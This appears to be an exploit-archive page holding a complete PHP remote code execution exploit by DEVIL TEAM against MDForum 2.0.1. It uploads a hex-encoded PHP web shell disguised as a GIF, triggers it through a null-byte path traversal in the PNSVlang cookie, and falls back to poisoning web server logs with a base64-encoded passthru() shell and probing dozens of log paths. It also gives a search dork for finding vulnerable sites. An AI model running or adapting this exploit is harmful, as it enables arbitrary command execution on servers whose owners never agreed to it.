[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : MDForum <= 2.0.1 (PNSVlang) Remote Code Execution Exploit
# Published : 2006-12-31
# Author : Kacper
# Previous Title : P-News 1.16 / 1.17 (user.dat) Remote Password Disclosure Vulnerablity
# Next Title : Bubla <= 0.9.2 (bu_dir) Multiple Remote File Include Vulnerabilities
<?
//Kacper & str0ke Settings
$exploit_name = "MDForum <= 2.0.1 (PNSVlang) Remote Code Execution Exploit";
$script_name = "MDForum 2.0.1";
$script_site = "http://www.maxdev.pl/Contents,Download,View,8.phtml";
$dork = '"Powered by MDForum"';
//**************************************************************
print '
::::::::: :::::::::: ::: ::: ::::::::::: :::
:+: :+: :+: :+: :+: :+: :+:
+:+ +:+ +:+ +:+ +:+ +:+ +:+
+#+ +:+ +#++:++# +#+ +:+ +#+ +#+
+#+ +#+ +#+ +#+ +#+ +#+ +#+
#+# #+# #+# #+#+#+# #+# #+#
######### ########## ### ########### ##########
::::::::::: :::::::::: ::: :::: ::::
:+: :+: :+: :+: +:+:+: :+:+:+
+:+ +:+ +:+ +:+ +:+ +:+:+ +:+
+#+ +#++:++# +#++:++#++: +#+ +:+ +#+
+#+ +#+ +#+ +#+ +#+ +#+
#+# #+# #+# #+# #+# #+#
### ########## ### ### ### ###
- - [DEVIL TEAM THE BEST POLISH TEAM] - -
[Exploit name: '.$exploit_name.'
[Script name: '.$script_name.'
[Script site: '.$script_site.'
dork: '.$dork.'
Find by: Kacper (a.k.a Rahim)
========> DEVIL TEAM IRC: irc.milw0rm.com:6667 #devilteam <========
========> http://www.rahim.webd.pl/ <========
Contact: kacper1964@yahoo.pl
(c)od3d by Kacper
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Greetings DragonHeart and all DEVIL TEAM Patriots :)
- Leito & Leon | friend str0ke ;)
Blund Coder, D0han, d3m0n, D3m0n (ziom z Niemiec :P), dn0de, DUREK5, fdj, Grzegorz, GrZyB997, konsol, Mandr4ke,
mass, michalind, mIvus, Nua, nukedclx, pepi, QunZ, Qw3rty, RebeL, SkD, Adam, arkadius, asteroid, blue, Ci2u, CrazzyIwan,
DMX, drzewko, ExTrEmE][-][ack, Gelo, Kicaj, Larry, Leito, LEON, Michas, Morpheus, MXZ, Ramzes, redsaq, TomZen
and
Dr Max Virus
TamTurk,
hackersecurity.org
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Greetings for 4ll Fusi0n Group members ;-)
and all members of hacker.com.pl ;)
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
';
/*
MDForum is module of MDpro, exploit based on vulnerability in MDpro :)
Happy New Year all!!
p.s
dobra nie ma co gadac ! ide pic :P
=====>
in file: includes/search/search_mdforum.php:
....
$currentlang = pnUserGetLang(); // select language //<-----------------{1}
// check to language in use TiMax
if (file_exists("includes/language/blocks/$currentlang/search_mdforum.php")) { //<-----------------{2}
include "includes/language/blocks/$currentlang/search_mdforum.php"; //<-----------------{3}
} else {
include "includes/language/blocks/eng/search_mdforum.php";
}
....
local include :)
be safe @ll :)
*/
if ($argc<7) {
print_r('
-----------------------------------------------------------------------------
Usage: php '.$argv[0].' host path username password session_id cmd OPTIONS
host: target server (ip/hostname)
path: MDPro Forum path
username: You username
password: You password
session_id: register in MDPro, login and insert you session id
cmd: a shell command (ls -la)
Options:
-p[port]: specify a port other than 80
-P[ip:port]: specify a proxy
Example:
php '.$argv[0].' 2.2.2.2 /MDPro/ 07e0ed91d7ffab69312a5ab3db4b827d ls -la -P1.1.1.1:80
-----------------------------------------------------------------------------
');
die;
}
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);
function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="rn"; $exa.="rn";}
}
return $exa."rn".$result;
}
$proxy_regex = '(bd{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5}b)';
function sendpacket($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...rn";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
}
function make_seed()
{
list($usec, $sec) = explode(' ', microtime());
return (float) $sec + ((float) $usec * 100000);
}
$host=$argv[1];
$path=$argv[2];
$username=$argv[3];
$password=$argv[4];
$session=$argv[5];
$cmd="";
$port=80;
$proxy="";
for ($i=6; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
$data.='-----------------------------7d6224c08dc
Content-Disposition: form-data; name="uname"
'.$username.'
-----------------------------7d6224c08dc
Content-Disposition: form-data; name="pass"
'.$password.'
-----------------------------7d6224c08dc
Content-Disposition: form-data; name="submit"
Login
-----------------------------7d6224c08dc--
';
echo "login...n";
$packet ="POST ".$p."user.php HTTP/1.0rn";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d6224c08dcrn";
$packet.="Content-Length: ".strlen($data)."rn";
$packet.="Host: ".$host."rn";
$packet.="Connection: Closernrn";
$packet.=$data;
sendpacket($packet);
sleep(1);
$hauru=
"x20x0dx0ax47x49x46x38x36x0dx0ax3cx3fx70x68x70x20".
"x6fx62x5fx63x6cx65x61x6ex28x29x3bx0dx0ax2fx2fx52".
"x75x63x68x6fx6dx79x20x7ax61x6dx65x6bx20x48x61x75".
"x72x75x20x3bx2dx29x0dx0ax65x63x68x6fx22x2ex2ex2e".
"x48x61x63x6bx65x72x2ex2ex4bx61x63x70x65x72x2ex2e".
"x4dx61x64x65x2ex2ex69x6ex2ex2ex50x6fx6cx61x6ex64".
"x21x21x2ex2ex2ex44x45x56x49x4cx2ex54x45x41x4dx2e".
"x2ex74x68x65x2ex2ex62x65x73x74x2ex2ex70x6fx6cx69".
"x73x68x2ex2ex74x65x61x6dx2ex2ex47x72x65x65x74x7a".
"x2ex2ex2ex22x3bx0dx0ax20x0dx0ax20x0dx0ax65x63x68".
"x6fx22x2ex2ex2ex47x6fx20x54x6fx20x44x45x56x49x4c".
"x20x54x45x41x4dx20x49x52x43x3ax20x37x32x2ex32x30".
"x2ex31x38x2ex36x3ax36x36x36x37x20x23x64x65x76x69".
"x6cx74x65x61x6dx22x3bx0dx0ax20x0dx0ax20x0dx0ax65".
"x63x68x6fx22x2ex2ex2ex44x45x56x49x4cx20x54x45x41".
"x4dx20x53x49x54x45x3ax20x68x74x74x70x3ax2fx2fx77".
"x77x77x2ex72x61x68x69x6dx2ex77x65x62x64x2ex70x6c".
"x2fx22x3bx0dx0ax20x0dx0ax20x0dx0ax69x6ex69x5fx73".
"x65x74x28x22x6dx61x78x5fx65x78x65x63x75x74x69x6f".
"x6ex5fx74x69x6dx65x22x2cx30x29x3bx0dx0ax20x0dx0a".
"x20x0dx0ax65x63x68x6fx20x22x48x61x75x72x75x22x3b".
"x0dx0ax20x0dx0ax20x0dx0ax70x61x73x73x74x68x72x75".
"x28x24x5fx53x45x52x56x45x52x5bx48x54x54x50x5fx48".
"x41x55x52x55x5dx29x3bx0dx0ax20x0dx0ax20x0dx0ax64".
"x69x65x3bx3fx3ex0dx0ax20";
$data.='-----------------------------7d6224c08dc
Content-Disposition: form-data; name="title"
hauru
-----------------------------7d6224c08dc
Content-Disposition: form-data; name="userfile"; filename="hauru.gif"
Content-Type: text/plain
'.$hauru.'
-----------------------------7d6224c08dc
Content-Disposition: form-data; name="description"
DEVIL TEAM!! THE BEST POLISH HACKER TEAM
-----------------------------7d6224c08dc
Content-Disposition: form-data; name="nname"
'.$username.'
-----------------------------7d6224c08dc
Content-Disposition: form-data; name="email"
devilteam@polish.pl
-----------------------------7d6224c08dc
Content-Disposition: form-data; name="homepage"
http://www.rahim.webd.pl/
-----------------------------7d6224c08dc
Content-Disposition: form-data; name="submit"
Add this file
-----------------------------7d6224c08dc--
';
echo "upload hauru...(step1)n";
echo "secure categories must be off...n";
$packet ="POST ".$p."modules.php?op=modload&name=Downloads&file=index&req=AddDownload HTTP/1.0rn";
$packet.="Cookie: MDPROSID=".$session.";rn";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d6224c08dcrn";
$packet.="Content-Length: ".strlen($data)."rn";
$packet.="Host: ".$host."rn";
$packet.="Connection: Closernrn";
$packet.=$data;
sendpacket($packet);
sleep(1);
$data.='-----------------------------7d6224c08dc
Content-Disposition: form-data; name="dynafield[_UREALNAME]"
Kacper
-----------------------------7d6224c08dc
Content-Disposition: form-data; name="dynafield[_UREALEMAIL]"
Kacper@yahoo.pl
-----------------------------7d6224c08dc
Content-Disposition: form-data; name="dynafield[_UFAKEMAIL]"
Kacper@yahoo.pl
-----------------------------7d6224c08dc
Content-Disposition: form-data; name="dynafield[_YOURHOMEPAGE]]"
http://www.rahim.webd.pl/
-----------------------------7d6224c08dc
Content-Disposition: form-data; name="user_pavatar"; filename="hauru.gif"
Content-Type: text/plain
'.$hauru.'
-----------------------------7d6224c08dc
Content-Disposition: form-data; name="submit"
Zapisz zmiany
-----------------------------7d6224c08dc--
';
echo "upload hauru...(step2)n";
echo "secure categories must be off...n";
$packet ="POST ".$p."user.php?op=edituser HTTP/1.0rn";
$packet.="Cookie: MDPROSID=".$session.";rn";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d6224c08dcrn";
$packet.="Content-Length: ".strlen($data)."rn";
$packet.="Host: ".$host."rn";
$packet.="Connection: Closernrn";
$packet.=$data;
sendpacket($packet);
sleep(1);
echo "Hauru uploaded!! now remote code execution...n";
$packet ="GET ".$p."includes/search/search_mdforum.php HTTP/1.1rn";
$packet.="Cookie: MDPROSID=".$session.";rn";
$packet.="Cookie: PNSVlang=../../../upload/dl/hauru.gif%00;rn";
$packet.="HAURU: ".$cmd."rn";
$packet.="Host: ".$host."rn";
$packet.="Connection: Closernrn";
sendpacket($packet);
if (strstr($html,"Hauru"))
{
$temp=explode("Hauru",$html);
die($temp[1]);
}
echo "insert evil code in logfiles ...rnrn";
$calcifer = base64_decode("PD9waHAgb2JfY2xlYW4oKTsvL1J1Y2hvbXkgemFtZWsgSGF1cnUgOy0pZWNobyIuLi5IYWNrZXIuLkthY3Blci4uTWFkZS4uaW4uLlBvbGFuZCEhLi4uREVWSUwuVEVBTS4udGhlLi5iZXN0Li5wb2xpc2guLnRlYW0uLkdyZWV0ei4uLiI7ZWNobyIuLi5HbyBUbyBERVZJTCBURUFNIElSQzogNzIuMjAuMTguNjo2NjY3ICNkZXZpbHRlYW0iO2VjaG8iLi4uREVWSUwgVEVBTSBTSVRFOiBodHRwOi8vd3d3LnJhaGltLndlYmQucGwvIjtpbmlfc2V0KCJtYXhfZXhlY3V0aW9uX3RpbWUiLDApO2VjaG8gIkhhdXJ1IjtwYXNzdGhydSgkX1NFUlZFUltIVFRQX0hBVVJVXSk7ZGllOz8+");
$packet="GET ".$p.$calcifer." HTTP/1.0rn";
$packet.="User-Agent: ".$calcifer." Googlebot/2.1rn";
$packet.="Host: ".$host."rn";
$packet.="Connection: closernrn";
sendpacket($packet);
sleep(1);
$paths= array (
"../../../../../var/log/httpd/access_log",
"../../../../../var/log/httpd/error_log",
"../apache/logs/error.log",
"../apache/logs/access.log",
"../../apache/logs/error.log",
"../../apache/logs/access.log",
"../../../apache/logs/error.log",
"../../../apache/logs/access.log",
"../../../../apache/logs/error.log",
"../../../../apache/logs/access.log",
"../../../../../apache/logs/error.log",
"../../../../../apache/logs/access.log",
"../logs/error.log",
"../logs/access.log",
"../../logs/error.log",
"../../logs/access.log",
"../../../logs/error.log",
"../../../logs/access.log",
"../../../../logs/error.log",
"../../../../logs/access.log",
"../../../../../logs/error.log",
"../../../../../logs/access.log",
"../../../../../etc/httpd/logs/access_log",
"../../../../../etc/httpd/logs/access.log",
"../../../../../etc/httpd/logs/error_log",
"../../../../../etc/httpd/logs/error.log",
"../../../../../var/www/logs/access_log",
"../../../../../var/www/logs/access.log",
"../../../../../usr/local/apache/logs/access_log",
"../../../../../usr/local/apache/logs/access.log",
"../../../../../var/log/apache/access_log",
"../../../../../var/log/apache/access.log",
"../../../../../var/log/access_log",
"../../../../../var/www/logs/error_log",
"../../../../../var/www/logs/error.log",
"../../../../../usr/local/apache/logs/error_log",
"../../../../../usr/local/apache/logs/error.log",
"../../../../../var/log/apache/error_log",
"../../../../../var/log/apache/error.log",
"../../../../../var/log/access_log",
"../../../../../var/log/error_log"
);
for ($i=0; $i<=count($paths)-1; $i++)
{
$a=$i+2;
echo "[".$a."] Check Path: ".$paths[$i]."rn";
echo "remote code execution in logifiles...wait..n";
$packet ="GET ".$p."error.php HTTP/1.1rn";
$packet.="Cookie: MDPROSID=".$session.";rn";
$packet.="Cookie: PNSVlang=../../../".$paths[$i]."%00;rn";
$packet.="HAURU: ".$cmd."rn";
$packet.="Host: ".$host."rn";
$packet.="Connection: Closernrn";
sendpacket($packet);
if (strstr($html,"Hauru"))
{
$temp=explode("Hauru",$html);
die($temp[1]);
}
}
echo "Exploit err0r :(n";
echo "Check register_globals = On and magic_quotes_gpc = offn";
echo "Go to DEVIL TEAM IRC: irc.milw0rm.com:6667 #devilteamrn";
?>
# www.Syue.com [2006-12-31]